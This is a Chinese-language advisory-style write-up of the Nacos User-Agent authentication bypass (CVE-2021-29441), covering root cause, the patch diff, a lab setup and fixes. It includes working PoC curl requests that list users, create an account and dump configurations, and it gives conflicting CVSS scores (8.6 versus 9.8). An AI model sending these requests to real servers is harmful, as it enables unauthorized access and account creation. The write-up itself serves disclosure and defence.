一、漏洞简介¶
1.1 漏洞背景¶
2021年4月,GitHub Security Lab 披露了 Nacos 存在权限认证绕过漏洞。在 Nacos 1.2 到 1.4.0 版本中,系统在进行认证授权操作时,会判断请求的 User-Agent 是否为 "Nacos-Server",如果是则不进行任何认证。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-29441 |
| 危害等级 | HIGH / 8.6 |
| 漏洞类型 | UA 白名单权限认证绕过 |
| 披露时间 | 2021-04-27 |
| 影响组件 | Nacos |
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-29441 |
| 危害等级 | 严重(Critical) |
| CVSS 评分 | 9.8 |
| 漏洞类型 | 权限认证绕过(Authentication Bypass) |
| 影响 | 未授权访问、用户创建、配置泄露 |
| 发现者 | GitHub Security Lab |
| 公开日期 | 2021年4月27日 |
补充核验信息:公开时间:2021-04-27;NVD 评分:8.6(HIGH);CWE:CWE-290。
二、影响范围¶
2.1 受影响的版本¶
- Nacos 1.2.0 - 1.4.0
2.2 不受影响的版本¶
- Nacos 1.4.1+
- Nacos 2.x
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Nacos 开启了鉴权功能(nacos.core.auth.enabled=true)
- 攻击者能发送特制 HTTP 请求
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Nacos 在处理服务端对服务端的请求时,使用了硬编码的 User-Agent "Nacos-Server" 作为白名单判断标准。攻击者只需在请求头中设置 User-Agent: Nacos-Server,即可绕过所有认证检查。
攻击流程:
1. 攻击者发送带有 User-Agent: Nacos-Server 的请求
2. Nacos 服务端检测到 User-Agent 为白名单值
3. 跳过身份认证,直接处理请求
4. 攻击者可查看用户、创建用户、获取配置等
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞位置:nacos-core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java
问题代码片段:
// 硬编码的白名单判断
String userAgent = req.getHeader("User-Agent");
if (userAgent != null && userAgent.equals("Nacos-Server")) {
// 跳过认证
return;
}
补丁对比:
- String userAgent = req.getHeader("User-Agent");
- if (userAgent != null && userAgent.equals("Nacos-Server")) {
- return;
- }
+ // 使用可配置的 Identity 替代硬编码 User-Agent
+ String identityHeader = req.getHeader(authConfig.getServerIdentityKey());
+ if (identityHeader != null && identityHeader.equals(authConfig.getServerIdentityValue())) {
+ return;
+ }
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 启动受影响版本
docker run -d --name nacos \
-e MODE=standalone \
-e PREFER_HOST_MODE=hostname \
-p 8848:8848 \
nacos/nacos-server:1.4.0
4.2 PoC 演示与测试过程¶
查看用户列表:
curl -X GET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' \
-H 'User-Agent: Nacos-Server'
创建新用户:
curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users' \
-H 'User-Agent: Nacos-Server' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=hacker&password=hacker123'
获取配置信息:
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=100' \
-H 'User-Agent: Nacos-Server'
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 Nacos 1.4.1 或更高版本
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
配置自定义 Identity:
# application.properties
nacos.core.auth.server.identity.key=customIdentity
nacos.core.auth.server.identity.value=yourSecretValue123!@#
WAF 规则:
SecRule REQUEST_HEADERS:User-Agent "@streq Nacos-Server" \
"deny,log,msg:'Nacos Auth Bypass Attempt'"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/alibaba/nacos/issues/995
6.2 其他技术参考资料¶
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
- https://nvd.nist.gov/vuln/detail/CVE-2021-29441